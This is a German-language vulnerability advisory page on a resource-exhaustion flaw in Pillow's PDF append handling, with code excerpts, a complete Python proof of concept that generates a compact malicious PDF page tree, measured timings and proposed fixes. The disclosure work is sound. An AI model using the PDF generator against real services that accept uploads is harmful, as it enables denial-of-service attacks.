Hoch

Pillow PDF-Append akzeptiert fehlerhaften, geteilten Seitenbaum-DAG und verursacht Ressourcenerschöpfung

  • Veröffentlicht: 22.10.2026
  • Aktualisiert: 29.10.2026 12:17

Die Originalmeldung wurde seit der Erstellung dieser Erklärung geändert. Prüfen Sie die aktuellen technischen Daten und die Originalmeldung unten.

Zusammenfassung

Der dokumentierte PDF-Append-Pfad von Pillow kann bei einem kompakten, fehlerhaften PDF-Seitenbaum unverhältnismäßig viel CPU-Zeit beanspruchen.

Ein Angreifer, der einer Anwendung, die ein Bild mit Image.save(..., format="PDF", append=True) anhängt, ein bestehendes PDF bereitstellen kann, kann einen fehlerhaften /Pages-Baum übergeben, bei dem jede Ebene dieselbe untergeordnete /Pages-Referenz in /Kids wiederholt. Pillow behandelt den Graphen als Baum und expandiert jede wiederholte Referenz in PdfParser.linearize_page_tree(), ohne besuchte oder doppelte indirekte Referenzen nachzuverfolgen.

In dem unten aufgeführten Proof of Concept expandiert ein 1410-Byte großes PDF zu 8192 Seitenreferenzen aus einem einzigen Seitenobjekt und benötigt etwa 9.6 Sekunden über den Append-Pfad. Eine vergleichbare lineare Kontrollprobe mit derselben Tiefe verbleibt bei einer Seitenreferenz und schließt in etwa 0.02 Sekunden ab.

Dies liegt im Rahmen der Sicherheitsrichtlinie von Pillow, da es in main reproduzierbar ist, die neueste getestete öffentliche Version (12.3.0) betrifft und nicht lediglich eine unerwartete Python-Exception darstellt. Die betroffene Operation verarbeitet vom Angreifer kontrollierte PDF-Bytes über den PDF-Parser von Pillow und führt zu deterministischem Ressourcenverbrauch vor dem regulären Abschluss.

Details

Betroffene Versionen

  • Paket: Pillow
  • Ökosystem: pip / PyPI
  • Betroffene Komponente: src/PIL/PdfParser.py Seitenbaum-Traversierung, erreicht über die PDF-Append-Verarbeitung in src/PIL/PdfImagePlugin.py
  • Im Betrieb getestete betroffene Version: 12.3.0
  • Im Betrieb getestete betroffene Entwicklungsversion: 13.0.0.dev0
  • Getesteter Commit: b39b9649312fbc381060e8c7c7f9f0de4cc63daa
  • Aktueller Hash des Quellartefakts: sha256(git archive --format=tar HEAD) = 2ccefca23d432456765be8d3c34564c65ba016b0c9da1e44ca389762f7eda054
  • Release 12.3.0 Commit: bb1d8e8ab8d29048624d96e3ee53cecf7c13d13d
  • Release 12.3.0 Hash des Quellartefakts: sha256(git archive --format=tar 12.3.0) = 94bed33fd20123938dbc0153d295250bb4e3c09251b6d4a34f7595e25d409c81
  • Auf Quellcode-Ebene betroffen: 5.1.0, 12.2.0, 12.3.0 und HEAD
  • Wahrscheinlich betroffener Bereich: >= 5.1.0
  • Behobene Versionen: keine bekannt

Nachweisdaten:

  • Im Betrieb getestet betroffen: 12.3.0
  • Im Betrieb getestet betroffen: 13.0.0.dev0 bei b39b9649312fbc381060e8c7c7f9f0de4cc63daa
  • Auf Quellcode-Ebene betroffen: 5.1.0
  • Auf Quellcode-Ebene betroffen: 12.2.0
  • Auf Quellcode-Ebene betroffen: HEAD
  • Wahrscheinlich betroffener Bereich: >= 5.1.0, keine behobene Version bekannt
  • Vorab-Hinweis: 5.0.0 enthält PdfImagePlugin.py, jedoch nicht src/PIL/PdfParser.py

5.0.0 enthält src/PIL/PdfImagePlugin.py, jedoch nicht src/PIL/PdfParser.py. PdfParser.py wurde durch 6207b44ab1ff4a91d8ddc7579619876d0bb191a4 (2018-01-18 issue #2959: support appending to existing PDFs) eingeführt, was in 5.1.0 veröffentlicht wurde.

Technische Details

Der erreichbare Ausführungspfad ist:

  1. Ein Dienst oder eine Anwendung empfängt ein vom Angreifer beeinflusstes PDF und hängt ein Bild über den öffentlichen PDF-Speicherpfad von Pillow an:

    python
    Image.new("L", (1, 1), 0).save(existing_pdf_file, format="PDF", append=True)
  2. src/PIL/PdfImagePlugin.py leitet append=True an PdfParser weiter:

    python
    is_appending = im.encoderinfo.get("append", False)
    filename_str = filename.decode() if isinstance(filename, bytes) else filename
    if is_appending:
        existing_pdf = PdfParser.PdfParser(f=fp, filename=filename_str, mode="r+b")
    else:
        existing_pdf = PdfParser.PdfParser(f=fp, filename=filename_str, mode="w+b")
  3. src/PIL/PdfParser.py parst das vorhandene PDF und linearisiert den Seitenbaum:

    python
    self.page_tree_root = self.read_indirect(self.pages_ref)
    self.pages = self.linearize_page_tree(self.page_tree_root)
    self.orig_pages = self.pages[:]
  4. linearize_page_tree() folgt rekursiv jedem /Kids-Eintrag und erweitert die Seitenliste. Es verfolgt weder die Identität der Seitenbaumknoten noch doppelte Referenzen oder aktive Traversierungsreferenzen:

    python
    def linearize_page_tree(
        self, node: PdfDict | None = None
    ) -> list[IndirectReference]:
        page_node = node if node is not None else self.page_tree_root
        check_format_condition(
            page_node[b"Type"] == b"Pages", "/Type of page tree node is not /Pages"
        )
        pages = []
        for kid in page_node[b"Kids"]:
            kid_object = self.read_indirect(kid)
            if kid_object[b"Type"] == b"Page":
                pages.append(kid)
            else:
                pages.extend(self.linearize_page_tree(node=kid_object))
        return pages
  5. Während des Anfügens iteriert rewrite_pages() über die expandierte orig_pages-Liste und scannt bzw. ersetzt Einträge in self.pages, was zusätzlichen Aufwand für die ohnehin vergrößerte Liste doppelter Referenzen verursacht.

Die fehlende Invariante lautet:

The PDF page tree should be treated as an acyclic tree of unique indirect references before Pillow builds pages/orig_pages or rewrites pages.

Der Machbarkeitsnachweis nutzt bewusst einen fehlerhaften PDF-Seitenbaum-DAG: Jeder /Pages-Knoten wiederholt dieselbe nachfolgende /Pages-Kindreferenz zweimal. Pillow akzeptiert diesen Graphen und expandiert ihn so, als ob die wiederholte Referenz getrennte Teilbäume darstellen würde.

PoC

Für die Validierung verwendete Umgebung:

  • Betriebssystem/Laufzeit: Linux, Python 3.13.11
  • Aktuell getesteter Build: Pillow 13.0.0.dev0, Commit b39b9649312fbc381060e8c7c7f9f0de4cc63daa
  • Zuletzt getestetes Release: Pillow 12.3.0
  • Der Nachweis verwendet ausschließlich synthetische In-Memory-PDFs und greift nicht auf das Netzwerk zu.

Speichern als poc_pillow_pdf_page_tree_dag.py:

python
#!/usr/bin/env python3
from __future__ import annotations

import io
import json
import sys
import time

from PIL import Image, PdfParser
import PIL


def make_page_tree_pdf(depth: int, fanout: int) -> bytes:
    if fanout not in (1, 2):
        raise ValueError("fanout must be 1 or 2")

    objects: list[bytes] = [b"<< /Type /Catalog /Pages 2 0 R >>"]
    for object_id in range(2, depth + 3):
        next_id = object_id + 1
        kids = b" ".join(f"{next_id} 0 R".encode("ascii") for _ in range(fanout))
        parent = b"" if object_id == 2 else f" /Parent {object_id - 1} 0 R".encode()
        objects.append(b"<< /Type /Pages /Kids [ " + kids + b" ]" + parent + b" >>")
    objects.append(f"<< /Type /Page /Parent {depth + 2} 0 R >>".encode("ascii"))

    result = bytearray(b"%PDF-1.4\n")
    offsets = [0]
    for object_id, value in enumerate(objects, start=1):
        offsets.append(len(result))
        result.extend(f"{object_id} 0 obj\n".encode("ascii"))
        result.extend(value)
        result.extend(b"\nendobj\n")

    xref_offset = len(result)
    result.extend(f"xref\n0 {len(objects) + 1}\n".encode("ascii"))
    result.extend(b"0000000000 65535 f \n")
    for offset in offsets[1:]:
        result.extend(f"{offset:010d} 00000 n \n".encode("ascii"))
    result.extend(
        f"trailer\n<< /Size {len(objects) + 1} /Root 1 0 R >>\n"
        f"startxref\n{xref_offset}\n%%EOF\n".encode("ascii")
    )
    return bytes(result)


def run_case(depth: int, fanout: int) -> dict[str, object]:
    payload = make_page_tree_pdf(depth, fanout)
    expected_refs = fanout ** (depth + 1)

    start = time.monotonic()
    with PdfParser.PdfParser(buf=payload) as pdf:
        observed_refs = len(pdf.pages)
        distinct_refs = len(set(pdf.pages))
    parse_seconds = time.monotonic() - start

    output = io.BytesIO(payload)
    start = time.monotonic()
    Image.new("L", (1, 1), 0).save(output, format="PDF", append=True)
    append_seconds = time.monotonic() - start

    return {
        "fanout": fanout,
        "depth": depth,
        "input_bytes": len(payload),
        "expected_refs": expected_refs,
        "observed_refs": observed_refs,
        "distinct_refs": distinct_refs,
        "parse_seconds": round(parse_seconds, 6),
        "append_seconds": round(append_seconds, 6),
        "output_bytes_after_append": len(output.getvalue()),
    }


def main() -> int:
    depth = int(sys.argv[1]) if len(sys.argv) > 1 else 12
    if not 0 <= depth <= 16:
        raise SystemExit("depth must be between 0 and 16")

    linear = run_case(depth, fanout=1)
    shared_dag = run_case(depth, fanout=2)

    checks = {
        "linear_control_stays_one_page": linear["observed_refs"] == 1,
        "candidate_expands_to_expected_duplicate_refs": shared_dag["observed_refs"]
        == shared_dag["expected_refs"],
        "candidate_has_one_distinct_page_ref": shared_dag["distinct_refs"] == 1,
        "candidate_input_is_compact": shared_dag["input_bytes"] <= 2048,
        "append_path_processed_both_inputs": linear["output_bytes_after_append"]
        > linear["input_bytes"]
        and shared_dag["output_bytes_after_append"] > shared_dag["input_bytes"],
    }
    result = {
        "pillow_version": PIL.__version__,
        "pillow_file": PIL.__file__,
        "depth": depth,
        "linear_control": linear,
        "shared_dag_candidate": shared_dag,
        "checks": checks,
        "overall_passed": all(checks.values()),
    }
    print(json.dumps(result, indent=2, sort_keys=True))
    return 0 if result["overall_passed"] else 1


if __name__ == "__main__":
    raise SystemExit(main())

Ausführen:

bash
python3 poc_pillow_pdf_page_tree_dag.py

Erwartetes Ergebnis:

"overall_passed": true
"linear_control": observed_refs == 1
"shared_dag_candidate": input_bytes == 1410
"shared_dag_candidate": observed_refs == 8192
"shared_dag_candidate": distinct_refs == 1

Beobachtet auf aktuellem main / 13.0.0.dev0:

1410-byte input -> 8192 observed page refs -> 9.563007s append

Beobachtet auf Pillow 12.3.0:

Pillow 12.3.0: 1410-byte input -> 8192 observed page refs -> 9.670602s append

Zum Vergleich nutzt die lineare Kontrolle im selben Testaufbau einen Seitenbaum vergleichbarer Tiefe mit fanout=1; sie erzeugt eine Seitenreferenz und schloss das Anfügen in meinen Testläufen in etwa 0.016 bis 0.028 Sekunden ab.

Auswirkungen

Dies ist ein Verfügbarkeitsproblem bei der PDF-Append-Verarbeitung in Pillow. Anwendungen sind betroffen, wenn nicht vertrauenswürdige Benutzer ein bestehendes PDF bereitstellen können, an das die Anwendung später Daten anhängt, ein Wasserzeichen anbringt oder es über die Image.save(..., format="PDF", append=True)-Route von Pillow exportiert.

Die demonstrierte Schwachstelle besteht in einer deterministischen CPU-/Ressourcenverstärkung durch kompakte, vom Angreifer kontrollierte PDF-Bytes. Der Nachweis zeigt keine Auswirkungen auf Vertraulichkeit, Integrität, Speicherbeschädigung, Dateisystemzugriff, Netzwerkzugriff oder Beeinträchtigungen durch reguläres Image.open().

Erfordert ein vom Angreifer beeinflusstes bestehendes PDF, das über den dokumentierten PDF-Append-Pfad von Pillow verarbeitet wird; nicht gewöhnliches Image.open().

Dies sollte nicht lediglich als unerwartete Python-Exception abgetan werden. In den getesteten betroffenen Builds wird das manipulierte PDF akzeptiert und nach der aufwendigen Expansion bis zum regulären Ende verarbeitet.

Problembehebung

Doppelte und zyklische Seitenbaum-Referenzen müssen vor der Erstellung von self.pages und self.orig_pages abgewiesen werden.

Ein möglicher Fix besteht darin, den Traversierungsstatus über linearize_page_tree() zu übergeben:

  • Aktive /Pages-Referenzen nachverfolgen, um Zyklen abzuweisen.
  • Bereits gesehene indirekte Seitenbaum- und Seitenreferenzen nachverfolgen, um Duplikate abzuweisen.
  • PdfFormatError auslösen, wenn der Seitenbaum kein azyklischer Baum eindeutiger indirekter Referenzen ist.

Vorgeschlagene Regressionstests:

  • Ein kleines PDF, dessen /Kids-Array dieselbe untergeordnete /Pages-Referenz wiederholt, sollte bei der Verwendung über Image.save(..., format="PDF", append=True) zügig ein PdfFormatError auslösen.
  • Ein normaler, geschachtelter linearer Seitenbaum sollte weiterhin erfolgreich angehängt werden können.

Was zu tun ist

Aktualisieren Sie Pillow auf Version 13.0.0 oder höher. Alternativ sollten doppelte und zyklische Seitenbaum-Referenzen vor der Erstellung von self.pages und self.orig_pages abgewiesen werden, beispielsweise durch Nachverfolgung aktiver /Pages-Referenzen in linearize_page_tree() und Auslösen von PdfFormatError.

Betroffene Software

Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.

PlattformPaketAnfällige VersionenBehoben in
Python (PyPI) pillow >= 5.1.0, < 13.0.0 13.0.0

Verweise

CVSS-Wert -
CVSS-Vektor
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Schwäche (CWE)
CWE-400, CWE-407
Plattform
Python (PyPI)
Paket
pillow
Veröffentlicht
22.10.2026
Aktualisiert
29.10.2026 12:17

Quellen und Lizenzen · Von DockRay bearbeitet oder übersetzt; Rechte und Lizenzen der Quellen bleiben erhalten.

OSV / GitHub Advisory Database - GHSA-mrfp-p49p-3hf2 - CC BY 4.0

Schwachstellenhistorie: pillow

Alle veröffentlichten Schwachstellen dieses Pakets (Python (PyPI)), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.

Alle (106) im Archiv
Einträge insgesamt
106
Erste → letzte
04.2014 11.2026
Ohne Fix
0
In Angriffen ausgenutzt
1

Verteilung nach Schweregrad

  • Kritisch 14
  • Hoch 63
  • Mittel 27
  • Niedrig 1
  • Nicht bewertet 1

Veröffentlichungen pro Jahr

  1. 2017: 1
  2. 2018: 0
  3. 2019: 1
  4. 2020: 10
  5. 2021: 19
  6. 2022: 8
  7. 2023: 3
  8. 2024: 2
  9. 2025: 1
  10. 2026: 49

früher: 12

Schweregrad:
  1. Pillow PDF-Append akzeptiert fehlerhaften, geteilten Seitenbaum-DAG und verursacht Ressourcenerschöpfung dieser Eintrag
    Hoch CVE-2026-96640 >= 5.1.0, < 13.0.0 13.0.0
  2. Hoch CVE-2026-112390 >= 7.2.0, < 13.0.0 13.0.0
  3. Kritisch CVE-2026-112900 >= 2.6.0, < 13.0.0 13.0.0
  4. Hoch · 7.5 CVE-2026-112405 >= 12.0.0, < 13.0.0 13.0.0
  5. Kritisch · 9.8 CVE-2026-112403 < 13.0.0 13.0.0
  6. Hoch · 7.5 CVE-2026-59200 >= 5.1.0, < 12.3.0 12.3.0
  7. Hoch CVE-2026-42311 >= 10.3.0, < 12.2.0 12.2.0
  8. Hoch · 7.5 CVE-2026-40192 >= 10.3.0, < 12.2.0 12.2.0
  9. Hoch CVE-2026-25990 >= 10.3.0, < 12.1.1 12.1.1
  10. Hoch · 7.1 CVE-2025-48379 >= 11.2.0, < 11.3.0 11.3.0
  11. Hoch · 6.7 CVE-2024-28219 < 10.3.0 10.3.0
  12. Kritisch · 8.1 CVE-2023-50447 < 10.2.0 10.2.0
  13. Hoch · 8.8 In Angriffen ausgenutzt CVE-2023-4863 < 10.0.1 10.0.1
  14. Hoch · 7.5 CVE-2022-45199 >= 9.2.0, < 9.3.0 9.3.0
  15. Hoch · 7.5 CVE-2022-30595 >= 9.1.0, < 9.1.1 9.1.1
  16. Hoch · 9.1 CVE-2022-24303 < 9.0.1 9.0.1
  17. Kritisch · 9.8 CVE-2022-22817 < 9.0.1 9.0.1
  18. Hoch · 7.5 CVE-2021-23437 >= 5.2.0, < 8.3.2 8.3.2
  19. Kritisch · 9.8 CVE-2021-34552 < 8.3.0 8.3.0
  20. Hoch · 7.5 CVE-2021-28677 < 8.2.0 8.2.0
  21. Hoch · 7.5 CVE-2021-28676 < 8.2.0 8.2.0
  22. Hoch · 9.1 CVE-2021-25288 >= 2.4.0, < 8.2.0 8.2.0
  23. Hoch · 9.1 CVE-2021-25287 >= 2.4.0, < 8.2.0 8.2.0
  24. Hoch · 5.5 CVE-2021-28675 < 8.2.0 8.2.0
  25. Hoch · 7.5 CVE-2021-25293 >= 4.3.0, < 8.1.1 8.1.1
  26. Hoch · 7.5 CVE-2021-25291 < 8.2.0 8.2.0
  27. Hoch · 7.5 CVE-2021-25290 < 8.1.1 8.1.1
  28. Kritisch · 9.8 CVE-2021-25289 < 8.1.1 8.1.1
  29. Hoch · 7.5 CVE-2021-27923 < 8.1.2 8.1.2
  30. Hoch · 7.5 CVE-2021-27922 < 8.1.2 8.1.2
  31. Hoch · 7.5 CVE-2021-27921 < 8.1.2 8.1.2
  32. Hoch · 8.8 CVE-2020-35654 < 8.1.0 8.1.0
  33. Hoch · 7.1 CVE-2020-35653 < 8.1.0 8.1.0
  34. Kritisch · 8.1 CVE-2020-11538 < 7.1.0 7.1.0
  35. Hoch · 5.5 CVE-2020-10994 < 7.1.0 7.1.0
  36. Hoch · 5.5 CVE-2020-10177 < 7.1.0 7.1.0
  37. Hoch · 7.5 CVE-2019-19911 < 6.2.2 6.2.2
  38. Hoch · 7.1 CVE-2020-5313 < 6.2.2 6.2.2
  39. Kritisch · 9.8 CVE-2020-5312 < 6.2.2 6.2.2
  40. Kritisch · 9.8 CVE-2020-5311 < 6.2.2 6.2.2
  41. Kritisch · 8.8 CVE-2020-5310 < 6.2.2 6.2.2
  42. Hoch · 6.5 CVE-2016-2533 < 3.1.1 3.1.1
  43. Kritisch · 9.8 CVE-2016-4009 < 3.1.1 3.1.1
  44. Hoch · 6.5 CVE-2016-0775 < 3.1.1 3.1.1

Erkennen Sie Schwachstellen in Ihrer Anwendung

Mit der DockRay-Integration und aktivierter Softwareinventarisierung prüft DockRay gemeldete Komponentenversionen auf bekannte Schwachstellen und benachrichtigt Sie über bestätigte Treffer. Die Abdeckung hängt von der unterstützten Technologie und den verfügbaren Meldungen ab.

Anwendung verbinden
DockRay Newsletter

Anwendungssicherheit in Ihrem Postfach

Wichtige Schwachstellen, konkrete Empfehlungen und praktische Tipps für Ihre Anwendungen. Wählen Sie Ihre Technologien und verfolgen Sie, was für Ihr Projekt relevant ist.

  • Eine tägliche Zusammenfassung neuer Schwachstellen, auch kritischer.
  • Benachrichtigungen über wichtige Updates.
  • Praktische Tipps zur Sicherheit und Überwachung von Anwendungen.

Leer lassen, um Meldungen zu allen Technologien zu erhalten.

Kostenlos anmelden. In jeder E-Mail mit einem Klick abmelden.